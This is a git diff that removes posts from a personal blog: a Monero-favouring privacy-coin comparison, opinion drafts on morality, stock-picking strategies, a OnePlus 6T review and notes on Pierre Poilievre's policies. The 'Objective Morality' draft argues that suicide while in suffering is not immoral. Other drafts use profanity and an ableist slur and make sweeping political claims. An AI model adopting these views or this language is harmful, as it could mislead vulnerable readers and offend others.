"trust me"](https://www.vice.com/en/article/93b3ay/fbi-backdoor-anom-phones-gps-data). - -I also tried to test their sketchy wallet, but it required me to download the blockchain. Yeah, no thank you. If Monero can be used without a local blockchain, then I shouldn't need to download the blockchain to test a coin that does not even have a tenth of Monero's usage. - -## Particl (PART) - -Privacy except at certain times - -## Cloud Coin - -I can't believe someone actually came across this. - -The [RAIDA Tech](http://raidatech.com/) which is supposed to be the backbone, uses HTTP instead of HTTPS! -They claim "greater privacy" but they use HTTP instead of HTTPS by default. My websites all use HTTPS by default. -It is also unclear how to independently run a node. - -## Conclusion - -Cryptocurrency is a tool. and similar to religion, there are many of them. -In religion, there's something called Pascal's Wager. ThereminTrees has a good video on the fallacy. - -{{< youtube fZpJ7yUPwdU >}} - -Essentially, there isn't enough time for you to do an unbiased research on all religions to figure out -the best one. But we are presented with this same problem for cryptocurrency but [I have a solution](/posts/converging-opinions). - -Compared to Monero, these other privacy coins are used 1000x less. The burden of proof is on them to prove -that they are better than Grin, ZCash, and Secret Network before asking to argue against Monero. -Every redundant coin comes at the expense of collective privacy. - -It's unreasonable to ask Monero developers and experts to spend their time rebutting your arguments -when the cryptos both have the same goal. And if you can prove the coin to be better than Monero to me, -good luck trying to do it with Bitcoin maxis. I have an open mind; why else would I even try to use ZCash and Secret Network? - -Lastly, I hope for people to contribute to a single digital cash project rather than start their own. -It's sad enough that people think the upgrades to Monero are not needed. - -Feel free to donate some Monero. -[84PR6SkYd5zaFLKDjAFrQfbaAg2c7SV3q3XDZ15QCpEZUggrN4YzY7n8m9XC3deXjo41yWHTm1LrsUpPTYGnRQbD9Cwp8En](monero:84PR6SkYd5zaFLKDjAFrQfbaAg2c7SV3q3XDZ15QCpEZUggrN4YzY7n8m9XC3deXjo41yWHTm1LrsUpPTYGnRQbD9Cwp8En) - -![monero:84PR6SkYd5zaFLKDjAFrQfbaAg2c7SV3q3XDZ15QCpEZUggrN4YzY7n8m9XC3deXjo41yWHTm1LrsUpPTYGnRQbD9Cwp8En](https://elijahlopez.ca/static/images/monero.webp) diff --git a/content/posts/morality-is-a-social-construct.md b/content/posts/morality-is-a-social-construct.md deleted file mode 100644 index 4a8aff68e..000000000 --- a/content/posts/morality-is-a-social-construct.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: "Morality is a Social Construct" -date: 2024-01-02T21:12:17-05:00 -draft: true -tags: - - opinion -summary: TODO ---- - -I'm currently watching a video called [How recruiters in India use false promises to lure students to Canada - The Fifth Estate](https://youtu.be/dNrXA5m7ROM?si=XbkXg41OjPPCrmq) - -I'm already losing my mind. I don't know how non-Indians feel while watching this, but I absolutely despise the people taking advantage of young Indians. - -How can any Canadian in the government and any Indian in India's government and every person in these Canadian institutes even claim they are good people if all they are participating in wealth theft. I'm sorry for my language, but this is fucking gross. When there are millions of fucking Indian students coming into this country and they can't even speak fucking English, and there's 4 Indians per room rented by slumlords (and some are even of the same race as the students), ignorance is not a valid excuse. I knew the problem was bad, but this is a moral failure. - -The only thing that the government did was increase the wealth that Indians need to show. Absolutely useless if these students are getting taken advantage of paying $20,000+ for colleges that no one knows of. These students then have to work part time jobs which suppresses wages of Canadians already in poverty without an inheritance or savings. - -> Australia, New Zealand, and the UK signed a joint code of conduct for the ethical recruitment of international students to ensure agents are honest, transparent, and act with integrity. Canada chose not to sign on. - -This is just one example where Canada is the one who is wrong. In the UK, the secretary of state can single handedly define what organizations are considered to be terrorists. That means that the secretary of state can state that anti-monarchy groups are terrorists. The UK also has the [Online Safety Act](https://www.wired.com/story/the-uks-controversial-online-safety-act-is-now-law/) which is a threat to privacy. - -For all the hate that China gets, they were the first to start looking into mobile games. - -> Banning companies from giving players rewards for logging into the game every day and for making in-app purchases (e.g. for their first-ever purchase or for multiple purchases in a row); - -[Australia and its overreaching police state lockdown measures](https://www.reddit.com/r/changemyview/comments/pi55li/comment/hbne015/?utm_source=share&utm_medium=web2x&context=3) - -New Zealand? Imagine being so bad at combating islamophobia that a mass murderer shoots up a mosque. Imagine tolerating Neo-Nazism. Clearly if hate speech leads to actual deaths and you can't predict whether an individual will commit a physical crime, then punish the persuasion. - -Sweden? Who do you think the person above referenced? Pewdiepie's anti T-Series video had anti-Indian tropes such as - -- "I'm a blue eyes white dragon while you're just dark magician (oof)", -- "hold your defecation (oops)" -- "Your language sounds like it came from a mumble rap community", - -Denying that these statements are racist would imply that racism against white people doesn't exist. - -You know what. Let me point at some of the retardation of people who think that white supremacists do not exist. - -[Decrypting the Alt-Right: How to Recognize a F@scist | ContraPoints](https://youtu.be/Sx4BVGPkdzk) - -- White europeans are all connected and considered to be the white race / white culture / western culture - - Not true since Nazi Germans views European White Jews as non-white - - Not true since Germans after WWII got ethnically cleansed themselves (West and East Germany) - - Not true since Armenian genocide - - Not true since Bosnian genocide - - This is equivalent to saying that 2nd generation Black Americans believe that their culture is all of Africa and that all Black people in Africa are of the same race. It's not true, Rwanda Genocide is an example. -- Believing that white people are being replaced deliberately -- Blaming jews for non-white immigration -- Ethnostate required -- Using dog-whistles; instead of being directly racist, they will promote policies that end up hurting the targeted group and call it good economics since it benefits one race more than the other. -- Fascists will deny they are fascist or racist - -The reason that Iran is so hated is because the British did not pay proper royalties to the Iranian government. - -> Other ways the Anglo-Persian Oil Company undercut Iranian royalties were selling oil to the British Admiralty at much lower rates, producing no consolidated accounts of the Company’s profits, and only permitting the Iranian government to see the company information the shareholders had access to, which kept the Iranian government from knowing the Company’s true profits.[25](https://www.tandfonline.com/doi/abs/10.1080/00263209508701072) Iran’s inability to gain full access to the Company’s books robbed the Iranian government of any possibility of either confirming or dispelling its suspicions concerning the methods by which profits and royalties were calculated,” which further inflamed relations between the two bodies diff --git a/content/posts/novel-investment-portfolio-strategies.md b/content/posts/novel-investment-portfolio-strategies.md deleted file mode 100644 index 27acddf80..000000000 --- a/content/posts/novel-investment-portfolio-strategies.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: "Novel Investment Portfolio Strategies" -date: 2024-02-29T14:36:16-05:00 -draft: false -tags: - - finance - - investing -summary: experiments we can do regarding active management ---- - -This article is about active management, although a more important question to answer is **how to find** stocks that have the opportunity to generate alpha. For Passive ETF Investing, read [How to invest in the stock market](/posts/how-to-invest-in-the-stock-market#passive-etf-Investing). - -When people talk about portfolio weighting, there's usually only three that people are taught: market capitalization, price, equal. - -But what is ideal? We know price is not ideal because it's based on the share price which is determined by the shares outstanding. With market price and equal weight, it's a bit harder. Usually equal weight is better, but clearly, the top stocks (tech) of the S&P500 has made the market weighted index outperform the equal weighted index. Therefore, we need an equal weighted portfolio where the weight of the heavy weights are bigger than if they were in the SP500 market-weighted index. We need a way to trim the world stock market into just a few stocks. - -### Mid-Cap Priority Burrito - -- Pick 20-25 stocks across industries to reduce risk to systemic levels -- Since mid-cap outperforms large cap and small-cap is high risk, make sure that the basket is something like 80% mid-caps, 10% large-caps, 10% small cap ETF (invest in all small caps or pick no more than 2-3 that are definitely undervalued) -- Definitions - -Type | Market Caps | Allocation ------- | ----------------- | ------------- -Small | >= $100M; < $2B | 2-3 (~10%) or ETF -Mid | >= $2B; < $10B | 10 -Mid/Large | >= $10B; < $20B | 5 -Large | >= $20B; < $100B | 10 -Mega | >= $100B | 2-3 (~10%) - -This is a rough estimate on the allocations, however, I think my own portfolio is a bit different. - -### Mature-Growth, Mature, Growth, Value Burrito - -Another way to maximize returns is to focus on Mature-Growth and Value stocks and speculating on growth stocks. A growth stock is a company that is losing money but is growing at 10%+ yoy in revenues. A Mature-Growth is similar but is profitable (i.e. profit grows). A Mature company does not grow profits; usually pays dividends. A Value is company is any one of these (not growth), which in fundamentally undervalued in the most likely scenario of "business as usual." What I mean is that write down the assumptions of the market that the stock price reflects, ask yourself if those assumptions are wrong in a favourable manner, and if so, that is a value stock. An example is PayPal. PayPal is priced to die in 20 years. PayPal has been alive for 20 years during which time even crypto did not replace PayPal. PayPal is not just a payment provider but also a processor (Stripe is just a processor). Therefore, PayPal has value beyond 20 years of being a payment method. - -### Inverse Market Weighted - -- Weights are (1 - market-cap weight) -- Strategy: smaller **mid-cap** stocks have more growth potential (and thus higher returns when in a basket) than larger companies -- Do not re-balance until new stocks are added, and even then re-balance from largest-cap and overweight to the new stock. Never profit take since the strategy relies on betting on the small ones which will keep winning until they are big enough to take profit - -### Beta Cherry Picking - -- Strategy A: pick stocks based on positive-driven Beta for stocks that are recessionary proof -- Strategy B: pick stocks based on Beta's with time horizons that are more in line with investment time horizons (include recency bias if doing en-masse). Then, you take advantage of stocks that report higher Beta's than what you calculated. - -## Bio diff --git a/content/posts/objective-morality.md b/content/posts/objective-morality.md deleted file mode 100644 index ad6121b16..000000000 --- a/content/posts/objective-morality.md +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: "Objective Morality (Work in Progress)" -date: 2023-11-21T21:45:01-05:00 -draft: true -hidden: true -tags: - - opinion - - morality -summary: TODO ---- - -{{< toc >}} - -## Preface - -I want to state that this isn't a "progressive" nor "conservative" guideline. It's a humanity moral guideline that points out that two extremist sides opposing each other does not make either side the moral authority on every topic! - -For most of human (documented) history, humans have been practicing moral relativism. Even to this day, humans are practicing moral relativism. To me, morality is objective but almost all humans are practicing moral relativism and holding other humans accountable to a standard that is actually below moral objectivity. **No country practices moral objectivity.** Moral objectivity is the belief that morals aren't determined by the time period we live in and the thinking of the people who set those morals. A key example is slavery. Slavery is objectively immoral. Just because humans in the past had slaves and justified slaves, doesn't mean it was moral at the time. What does it mean? Well just like today, it just means that humans at the time practiced moral relativism under the guise that they knew what objective morality is which based on the definition of morality I will soon state isn't true. - -## Principality of Morality - -The principality of morality is an optimization function that reduces harm without harming yourself the same degree. This includes both physical and mental (e.g. harassment). A kid-friendly version of this is the "golden rule" to do no action to others you would not want to occur to yourself but this is a trap. The exercise is left to the reader. - -
Hint - -- you love very spicy food but you know I don't love very spicy food -- you like to be tied up -- you like to piss -- Kinks themselves not immoral but subjugating someone else to them without honest dialogues on top of consent is immoral - - What is a kink? It's moral actions that society normally does not partake in even behind closed doors. I won't state any kinks here. - - Critical reasoning is very important to teach and spread otherwise we can justify anything in order to protect children or "in the interest of national security", including banning encryption, privacy, and free travel. A society is capable of differentiating what policies are moral or not if the voter base can do so themselves. How to teach critical thinking is no different from how to think objective morality, so this document serves that purpose well. - -
- -To be a follower of objective morality, you need to be able to dissect and distinguish very peculiar and nuanced topics that may be deemed immoral without rationale. A good rule of thumb is to be curious why some people around you deem an action to be bad; This is just a start. Hardly will you meet someone who has the capabilities of convincing you. A follower of objective morality questions whether they are on the path of objective morality. What sets two moral peers apart is the ability to debate oneself to changing a mind on all sorts of topics. - -It is important to distinguish between morality and personal belief. For example, it may be a personal belief to not prefer pre-marital sex, but if someone else does that (including your descendants), then your response becomes a question on morality not belief anymore. So when reading these topics, it's not about personal belief, which everyone has a right to, but whether that belief can stand at a systematic level. - -### The First Test - -The baptism of morality is testing how open your mind is. Question something (first in your head) you have always been told to believe or act by your parents without much rationale. This could be religion, but this may not apply for some of you reading. Do not take it as a pat on the back though; being Atheist, just as following a religion, is not surmountable of moral objectivity. - -I don't recommend reading further if you haven't been able to do this for anything you believe in. If you aren't able to do this, then I encourage you to contribute to or improve this piece rather rather than reading it for the purpose of learning. - -### Difficulty and Nuance - -Over a year ago, I tried to write on the topic of morality and ethics, and gave up when it became apparent that morality and ethics isn't something you can just generalize, but over a year later, have realized it's a way of thinking and to really write about it, you need structure, examples, and concise + comprehensible arguments. - -Morality and Ethics are simple at their core, but quickly become complicated if you stop to really think about it. Morals have to do with impeding someone else's rights (including liberty and enjoyment) and ethics has to do with decision making that harms others either directly or reasonably indirectly. Ethical behaviour usually matters when you attain power and there's usually codes regarding the behaviour your expected to follow. Doctors, lawyers, accountants, and even CEOs or your financial advisor (fiduciary duty). Ethics stems from morality and without a proper grasp on morality, it is hard to stop oneself from being too greedy and unethical for acting in ones self-interests can lead ot others' losses as seen from the FTX and Sam Bankman-Fried scandal. It's not enough to recognize other people's wrongdoings, but it is important to at least recognize what actions were in self-interests so that on topics where acting in self-interest is not harmless, you can stop yourself. - -## Suicide, Euthanasia, and Compelled Compassion? - -Let's start off strong. Suicide is immoral since you are killing yourself, a human being. But if you are suffering already and commit suicide, it is not immoral since you are suffering more harm alive than a quick death. For those that did rationalize and follow through with suicide, you are innocent. It is not possible to think rationally in such a state and so your consciousness cannot be guilty of your immoral actions. A slow death is more immoral than a quick death when inflicted on others, and so if one is dying with pain that is improbable to reverse or stop, the act of relieving death is not immoral as it is quicker relief than inaction. - -I hope it was clear that I support euthanasia regarding physical pain, including: killing a fellow soldier on the battle field if they were in pain and it was improbable any help was on the way and they asked for it. Since humans are willing to endure pain to enjoy other artifacts of life, simply being in a state of unstoppable pain does not mean you automatically consent to someone else killing you. - -### Mental Illness Euthanasia - -I live in Canada, where euthanasia is about to be legalized for people suffering solely from mental health - -> On March 9, 2023, Bill C-39 received Royal Assent and immediately came into effect, temporarily postponing the eligibility date for persons suffering solely from a mental illness until March 17, 2024. - -The morality surrounding this is one that I've already stated. Is the mental illness curable or not? I have been suicidal 2-3 times. I'm cured of it all now, so any suicide I would have done would be immoral although I would still be innocent as I wouldn't know any better. So with euthanasia, a medical doctor is involved and they can judge for themselves on the probability of cure is. The morality does shift here from the mentally ill to the doctors. In the cases previously stated, I said that someone has to be in highly unlikely to stop pain and consent to dying, not just consent of death or unlikely to stop pain. It's not one or the other, it is both. So when doctor's are signing off on euthanasia for solely mentally ill persons, they need to educated in mental illness before making a call on if the pain is likely curable or not. This isn't a game of "unlikely to be cured due to lack of mental health resources." The government has a large budget so reviewers need to look see mental illness reasons as "even if resources were attributed, this person cannot be cured and is suffering more alive that it is not immoral to grant relief." - -Based on [Mental Health America's](https://screening.mhanational.org/content/condition-forever-will-i-always-feel-way/) "Some people fight a near constant battle with mental illness," my fear has indeed come true. It is very sad that some people are in a situation that treatment seems unlikely. - -### Compelled Compassion - -## Homosexuality - -Let's look at the stigmatization of homosexual **men** and how many people believed and still believe that a personal definition of marriage should be also be held by the government. - -To get into the depths of homosexuality, we must first discuss and point out the moral relativism in the western world and how the recent legalization of marriage after 200 years of being a country somehow means that people without their own country or in a country that isn't even a century old are **evil** because their moral definition doesn't involve it. - -People and countries who practice moral relativism cannot argue in good faith that other countries and cultures are backwards. By living in a country that practiced moral relativism, the probability of being morally objective is less than certain. I will make arguments later on about how actions that are illegal are in fact non-harming to non-parties. - -### Marriage - -A marriage conceptually is between two consenting human beings. But what differentiates a marriage from a girlfriend? I argue that in the 21st century, stemming from west-european culture, the definition of marriage has been so perverted to the point where the only difference compared to a long-term relationship or long-term girlfriend is that it involves the government. - -_girlfriend_? When I use the term girlfriend, I'm referring to intimate/sensual relationships in general, not only the ones that involve a woman. - -So when people say they are getting married, there's only legal reasons to do so. Not love: - -- In case of death, I want my assets to be transferred without hassle or issues or a will to my surviving partner. -- I don't want to be forced to testify against my partner in the future - -Some people may choose to follow love before marriage, but that is not immoral. - -### Pre-Marital Sex - -Following the previous argument that marriage isn't a devotion of love, but only a legal wrapper, let's tackle on pre-marital sex. This is only controversial towards religious **parents**, but the morality of pre-martial sex is left as an exercise to the reader, as this section is about parenting. - -The issue of pre-marital sex is actually only a parental-child issue. It is only further exacerbated when you do not permit or agree or bless the wishes of your **adult** child to get married. - -A couple I went to high school with got married at 20 and already have a child. My muslim friend in University said that he won't follow the rule related to pre-marital sex. - -If we look at the past and the recent uprising of sexually transmitted diseases, it's clear that the moral issue isn't the act of pre-marital sex, but not teaching your child that having sex outside a committed relationship has risks that can be mitigated to the same degree as the probability of dying to a terrorist attack. - -What do I mean? I mean that given that 9/11 occurred, that going outside our house increases the chance of dying. Whenever you drive a car, you are increasing the chance of death. The moral issue isn't the activity, but the moral duty of teaching risk perception and mitigation to your children.I stress on perception because if all you did is focus on risk, no matter how small, like in Barry, you rob your child of their freedom through psychological means. - -### Back to the point. To be Gay? Sin or Not? - -No of course not. It's a preference based on physical trait and not just blatant heavy-handed and ramifying discrimination such as colorism or racism. The only argument would be discrimination against the opposite sex (since it's discrimination against what is the natural workings), but "sin" implies not just immorality but also guilt...Someone who has preferences is not guilty for those preferences as an individual unless there is some implicit eugenics or genocide involved. For example, forbidding people to pick partners of differing race/ethnicity/culture. People are going to be unavailable to date for all sorts of reasons, and to cherry pick "homosexuality" is simply wrong. They aren't harming anyone else just as the priest who chooses celibacy is not harming those who are attracted to the priest. - -Family members. It is your duty to love your children until they can take care of themselves, and it is your duty to shape them to how you see fit. If they "come out," you cannot just think it is reversible. If it was reversible, then it would imply that the child's environment (i.e. YOU) shaped them to be who you are. So in other words, by thinking your child is immoral for being homosexual, you are the one to blame for shaping their thoughts like that in the first place. I know that racial preferences can be shaped by a person's surroundings but the difference is that race is prejudice whereas homosexuality is preference. One is wrong, whereas the other has no need to be "retaught." - -Another way to think about it is that I find out that my child loves Apple products and I call them immoral for this transgression. I "re-educate" them to like Linux (I have my ways) and call them immoral for the sin of liking Apple products. This is an extremist position surely no? How you raise your child is up to you, but don't chastise them for something you had very good control over. - -Again, control meaning that if being homosexual is determined at birth, then there is no argument and if it is not determined at birth but by environment, then don't go around thinking this one environmental change is allowed to be chastised but not other preferences such as a child liking iPhones more than Androids. I too would cry if my child if my child preferred iPhones to Androids, but I'm not going to call them immoral for continuing to use it. Especially in a supportive country, you can still have grand children through adoption. A child with parents of the same sex is always better than a child without any parents. It's not possible to argue that heterosexual couples are better when the child that was adopted was most likely born to a woman impregnated by a man. - -
How to Convince Your Child to use Linux instead of MacOS - - In this made up scenario (since I'm a Windows fan), just show them how much better you can do the task on a Linux distro than the child was doing on MacOS. - -
- -## Government and Democracy - -A democracy as a technical definition does not actually define what a democracy is to western countries. For example, the USA of today would not consider the USA of 1776 a democracy because the USA of the time enslaved Black Americans. You will find that a lot of people in the west will not acknowledge India or China as a democracy on the basis of muslim rights or "communism" even though there is nothing stopping someone from running in an election. Of course democracies are going to have restrictions on who can participate and how the electoral system works. The purpose of this paragraph is that a democracy does not guarantee morality and that dictatorships aren't immoral but rather carry greater risk of immorality. The phrase benevolent dictator exists because that's exactly what monarchies were and that's exactly what we see in open-source projects that succeed beyond a handful of people. Most corporations are managed by a CEO, a dictator. Although shareholders may "vote" a person in, a dictator is someone who has authority to make decisions for people in an organization without requiring the consent of other representatives. Are all corporations with CEOs immoral? No, although some people will argue that all corporations that are not cooperatives or not-for-profit are immoral. - -## Murder - -I'm at my limit for being able to write fluently and structurally. - -- self-defense is not murder -- self-defense must not be excessive in terms of available options - - for example, killing someone intentionally after neutralizing them - - for example can't just run away and come back -- supporting death penalty is supporting murder - - Killing anyone should be done sparingly - - We don't need to spill blood over people who are criminals - - Just as we can't charge someone for murder who's unethical actions resulted in many people died, we shouldn't become blood hungry and gluttony on violence as we would be no better than the people who committed these murders. We can do better and we can show everyone that immoral people can be punished by way of isolation rather than by way of death. Isolated from impeding the liberty of innocent without impeding their basic human right to life. - -The biggest moral principle for being against the death penalty is that to do no harm to innocent we cannot assume that every person put on death row is 100% guilty. The justice system and judicial system is actually not that good and one of the only charities I think is beneficial is the Innocent's Project. Such a project should be funded via an investment yield to continue to defend and exonerate innocent people who were sentenced by 12 jurors. - -## Raising a Child - -Raising a child should always be about success in life, liberty, freedom, intelligence. When you are raising a child, refusing to take into consideration how things can affect the child's mental health in the future, or their intelligence when solving problems at school, or the potential harm your child may cause others (bullying), reflects badly on your morality as well. - -## Retaliation - -Retaliation does not solve or prevent further injustice. It is wrong to retaliate when the choice of prevention does in fact exist. Retaliating instead of preventing the situation from arising is how we get diff --git a/content/posts/oneplus-6t.md b/content/posts/oneplus-6t.md deleted file mode 100644 index 2ef98c39d..000000000 --- a/content/posts/oneplus-6t.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: "Oneplus 6T Review" -date: 2022-07-28T20:15:28-04:00 -tags: - - review - - mobile - - android -summary: "A 5-year review of the OnePlus 6T, covering its durability, OxygenOS software features like Wi-Fi sharing via QR code, performance limitations with multitasking and camera, and the author's reasons for upgrading." ---- - -I submitted this review to OnePlus for a chance to review their Oneplus 10T. - -The oneplus 6T was a phone I purchased out of need at the start of 2018 when my oneplus 3's display went out of commission due to a major drop. That phone was only two years olds at the time and I had already replaced the display once before and the device performance was slow already. My current oneplus 6t I have dropped multiple times, however the display is in top shape and I've never had a major drop as before. I'm still using the same screen protector and currently don't even use a case. I find that oneplus doesn't inform you that their phones ship with a semi case so I ended up having 3 cases since I also ordered the heavy duty one from oneplus. The first case was the malleable plastic that wraps around the phone. The second one was the matte black friction case for better grip and the third was the one I added on which was a thick layer to the case. All three cases made the phone bulkier and heavier. The thicker case ended up tearing at the corners after a couple years and the grip case ended up having pieces broken at the top not to mention it catches hold of the threads in my pocket. - -Anyways, let's move on to the phone itself. My favorite part is always software in all tech because tech hardware exists to run software and if the software, especially the os, is unproductive or lacking, then it defeats the entire productivity benefit that software is supposed to give us. Oneplus has the best mobile OS hands down. They didn't dealing their os for a target audience, they designed their os for everyone and every case. Just the other day I was at a family friend's house and my mom needed to connect to the wifi. My friend who's house it is opened up a book and tried the password from there but it was wrong. My quick thinking told him to share the wifi and all that showed up was a qr code. My mom uses an iPhone so that's obviously useless, however I knew that my phone, the handy oneplus 6t, shares a qr code AND the actual password itself. These are the minor and small ux improvements that I appreciate. - -Moving on, let's talk about navigation. One gripe I have is the inability to use the same app transition that is found on pixels. The buttery smooth one found on other Android 12 devices. I had to stop using Nova launcher because 3rd party launchers, and for oneplus the default one as well, was never supported with this feature. In terms fo performance, the oneplus 6t can handle games like Cod fine, although the phone's temperature gets hot and battery life is reduced significantly after an hour or two. I'm more of a pc gamer so i prefer AAA games than mobile. I'd say I play a mobile game every two months. I really dislike the state of mobile gaming, most games are designed to waste your time, and it's obvious. In comparison to AAA games where games are explicitly designed to be fun, and this fun keeps you playing. - -Since it's relevant, the geekbench 5 score is 294 for single core and 1056 for multi core. 1000 is the baseline for the i3-8100 and my old razer Blade Stealth (i5-7200u) scores 500 for single core and 590 for multi core. My phone's scores are significantly under average as geekbench would report the oneplus 6T to have a single score around 1000. Not sure how a 4 year old 8 series snapdragon can equal the desktop performance of an i3-8100, but that's what geekbench said. This performance lackluster is present when I have multiple tabs open in Firefox or basically push any software to its limit, even google keep, and sync for reddit. Ram management breaks at certain times where entire pages in Firefox will reload when swiping between tabs. When I run the camera, everything in ram is lost. If I open the camera app, all the other apps are no longer saved and end up refreshing. I made sure to copy this review before opening the camera to double check. Yep this form was cleared. Camera quality & everything else is fine. Top of volume rocker rarely works. Wish phones were built for 5 years, and not 3. - -EDIT 2023/4/15: - -The phone has been glitching. The camera is slow, the audio freezes. Either it's due to the oneplus buds pro or something else. Anyways, I'm getting a new phone. The OnePlus 11 5G seems too expensive, and the OnePlus 10T is a bit bigger as my dad already has it. It seems to lack the ringer so that's a bumper. The pixel on the other hand has top notch software image processing which beats the processing done by iPhones. It is also smaller or just as big as the OnePlus 6T. It's already annoying using my phone with one hand, so I can't wait to have a phone that's a tiny bit smaller and easier to hold. The software support will be 3 android updates which will be amazing. So I will get android 14, 15, and 16; not to mention my OnePlus 6T is running Android 11 right now! So I haven't experienced android 12 nor Android 13. Seems like Android 12 added one handed mode, so I'll have that too. diff --git a/content/posts/pierre-poilievre-policies.md b/content/posts/pierre-poilievre-policies.md deleted file mode 100644 index 738abbed5..000000000 --- a/content/posts/pierre-poilievre-policies.md +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: "Pierre Poilievre Policies" -date: 2022-09-22T17:39:09-04:00 -tags: - - canada - - opinion - - politics -summary: "An analysis of Pierre Poilievre's key policies, including housing affordability, carbon tax, Bill C-69, disability benefits, and more." ---- -I'm making this blog post and video to document (practical?) policies that I've heard/read Pierre Poilievre express. -For each policy, I will include the excerpt as well as my analysis of it to connect the dots between stated policy and desired / expected results. This is evident in the first policy that incentivized me to create this blog post. - -## Housing Affordability - -Timestamp [Pierre Poilievre C-31 Response @ 10:08](https://youtu.be/Z39VZGF2k0A?t=608). - -> \[En Français\] The conservative government will tie infrastructure dollars for major cities where properties are too expensive to the number of housing units built. This will help to reduce the cost of construction permits, allow us to build more, and we will insist that every time the federal government has a new transit station that the land around must have houses and apartments in order to densify so that people can live near public transit. And third, we will sell 15% of the 37,000 [5,550] federal buildings in order to transform them into housing and create millions and millions places for young people to live and start their families. - -Analysis: By tying infrastructure $ to # houses built for specific cities, cities will have a great incentive to allow more houses to be built, and since they want to get more net money, they would have to allow more permits, speed up constructions (possible by improving efficiency of inspections since the city itself isn't the builder); To allow more permits, either costs go down so that more builders apply (I'm not sure how expensive construction permits are but if they are 100k+ then yeah its a barrier to entry and causes higher housing prices), or approval process improves. A faster approval process means there is a greater incoming supply of housing every year. The next point is to INSIST not ENFORCE federal departments to build public transit stations around places where people live. The intention is to densify (true, cities like Toronto have low density compared to other cities) as areas with public transit are more desirable and thus more housing units will be built there (higher willingness to pay therefore higher incentive to supply). It's important that this is an insist and not an enforcement to account for the << rare >> case that near max densification and public transit has occurred. There will always be edge cases on building transit like for example planned development. So by saying insist and not enforce the government doesn't have to add more bureaucratic measures. An enforcement would basically entail a/many new minister(s) in charge of approving every transit station proposed by the relevant department in charge of public transit (department of transportation?). Additional bureaucracy would be hypocritical for the CPC, specifically Poilievre. - -Poilievre's last point is to sell ~5,500 federal buildings and transform them into housing to create MM and MM[^sideNote1] of places to live, and this is an obvious hyperbole. It's impossible to put a fine number but if we assumed each of these buildings were to be replaced by an apartment, we could see 132 * 5,500 = 742,000 housing units. The 132 units per apartment building comes from Quora so the total units is ball park figure but better than a hyperbole. - -In conclusion, I myself had not thought of this policy and it's great Poilievre came up with something new that can be summarized as bullying (my words not his) or incentivize cities into submission rather than trying to impede their municipal rights. This is a heck of a lot more practical than simply stating "we will increase construction permit approvals." The policies I had come up with to address housing affordability can be found [here](/posts/canada/#housing-affordability). - -## Axing the Carbon Tax - -Consumer carbon tax was axed on April 1st, 2025. - -Pierre Poilievre has promised to axe the carbon tax without replacing it. - -## Repealing Bill C-69, the Anti-Road Bill - -C-69, the Impact Assessment Act was ruled unconstitutional by the Supreme Court 4 years after it was passed! Only the Cedar LNG project has passed the IAA (in record time, and no doubt because of using BC as a substitute). - -[Constitutional challenge successful](https://calgaryherald.com/opinion/columnists/varcoe-stay-in-your-lane-after-victory-against-bill-c-69-alberta-emboldened-in-feud-with-feds) - -The Impact Assessment ACt (IAA) stipulates that an impact assessment is necessary when a [designated project](https://laws.justice.gc.ca/eng/acts/I-2.75/page-1.html#1160090) (a physical activity on Canadian land and has been designated by the Minister of Environment. Where that list of regulations made for physical activities is? No idea). - -There isn't much information on this topic, but from https://atbcapitalmarkets.com/insights/the-bill-c-69-aftermath, it seems Bill-69 could potentially create infinite delays; incorporate 'traditional Indigenous knowledge' and 'the intersection of sex and gender with other identity factors' which is ridiculous if the topic at hand is natural gas, oil sands, or a Uranium mine; THE MINISTER OF THE ENVIRONMENT HAS VETO POWER WITH EVERY PROPOSAL!!!! - -Even without any funding by corporations, being against this bill has merit. Poilievre is arguing from a point of improving energy independence, however I feel that the benefits are much more broader and not just restricted to energy. The bill supposedly impeding pipelines does have some merit as presently any pipeline proposal could be declined simply because the Minister of Environment doesn't want it approved or stalled by the Governor in Council. - -The Impact Assessment Act protects the environment from projects like roads, which do exist by the way. If the Impact Assessment Act came before the major highways, it would take decades for the highways to even be built. Of course the "conservative" Doug Ford passed a bill that allows only highways to skip the Impact Assessment Act. - -## Disability Benefits Will Continue With Employment - -Bill C-395 was sponsored by Poilievre in 2018 as a private member's bill. The goal of this bill was to ensure that people with disability benefits could continuing receiving those benefits while working. - -## Every Dollar Spent Should be Accompanied with a Dollar Received - -The idea is that politicians need to be forced to keep the budget balanced in order to reduce debt and prevent excess aggregate demand (→ inflation). -Poilievre used the bill under Clinton as an example. - -## Reversing Gun Bans - -Pierre Poilievre has promised to undo the gun bans passed under the NDP/LPC coalition. - -### Axing GST on New Homes Under 1.3 Million Dollars - -[Read my other post](/posts/pierre-poilievre-housing-affordability-policies/) - -GST cuts are needed because when the GST was first enacted, all new houses were covered under the $450,000 or so threshold. Of course, resale houses were selling for that much by the mid 2000s! In Ontario, after interest rates were hiked and temporary immigration turned off, investors have been spooked and are no longer willing to pay the same price for preconstruction condos. For years developer charges and housing prices went up faster than inflation, and now that prices are falling, developer charges are not! A GST and HST cut will ensure that these preconstruction houses can be sold at the market clearing price. As it stands now the price for the developer to profit at their hurdle rate is higher than the price that would clear the market. - -I am doubtful the country can create enough jobs in a short period of time to raise wages up and increase demand for housing, especially when these new builds are more expensive and less spacious than the existing housing supply that people who are willing to downsize live in. - -## Axing GST on Canadian-Made Cars - -[Poilievre To Axe GST on Canadian-Made Cars, Create ‘Keep Canadians Working Fund’](https://www.conservative.ca/poilievre-to-axe-gst-on-canadian-made-cars-create-keep-canadians-working-fund/?utm_content=national/news/page/2/) - -## Double Small Craft Harbours Program - -[Put Canada’s Fisheries First – For a Change](https://www.conservative.ca/put-canadas-fisheries-first-for-a-change/?utm_content=national/news/page/2/) - -## Approving the LNG Newfoundland and Labrador Project - -[Poilievre Will Unleash Newfoundland and Labrador’s Energy](https://www.conservative.ca/poilievre-will-unleash-newfoundland-and-labradors-energy/?utm_content=national/news/page/2/) - -## Dropping the Lowest Income Bracket by 2.25% - -[Poilievre To Cut Income Tax By 15% For The Average Canadian](https://www.conservative.ca/poilievre-to-cut-income-tax-by-15-for-the-average-canadian/) - -> dropping the tax rate on the lowest income tax bracket from 15% to 12.75% - -The phrasing means that the average Canadian will see their tax bill decrease by 15% due to how the nominal tax bill number actually changes compared to a small decrease in the actual rate. - -> the average Canadian worker earning $57,000 will save $900 - -Another way to read this is that anyone earning 57,000 or more will save $900 over the year in taxes or $34.61 per 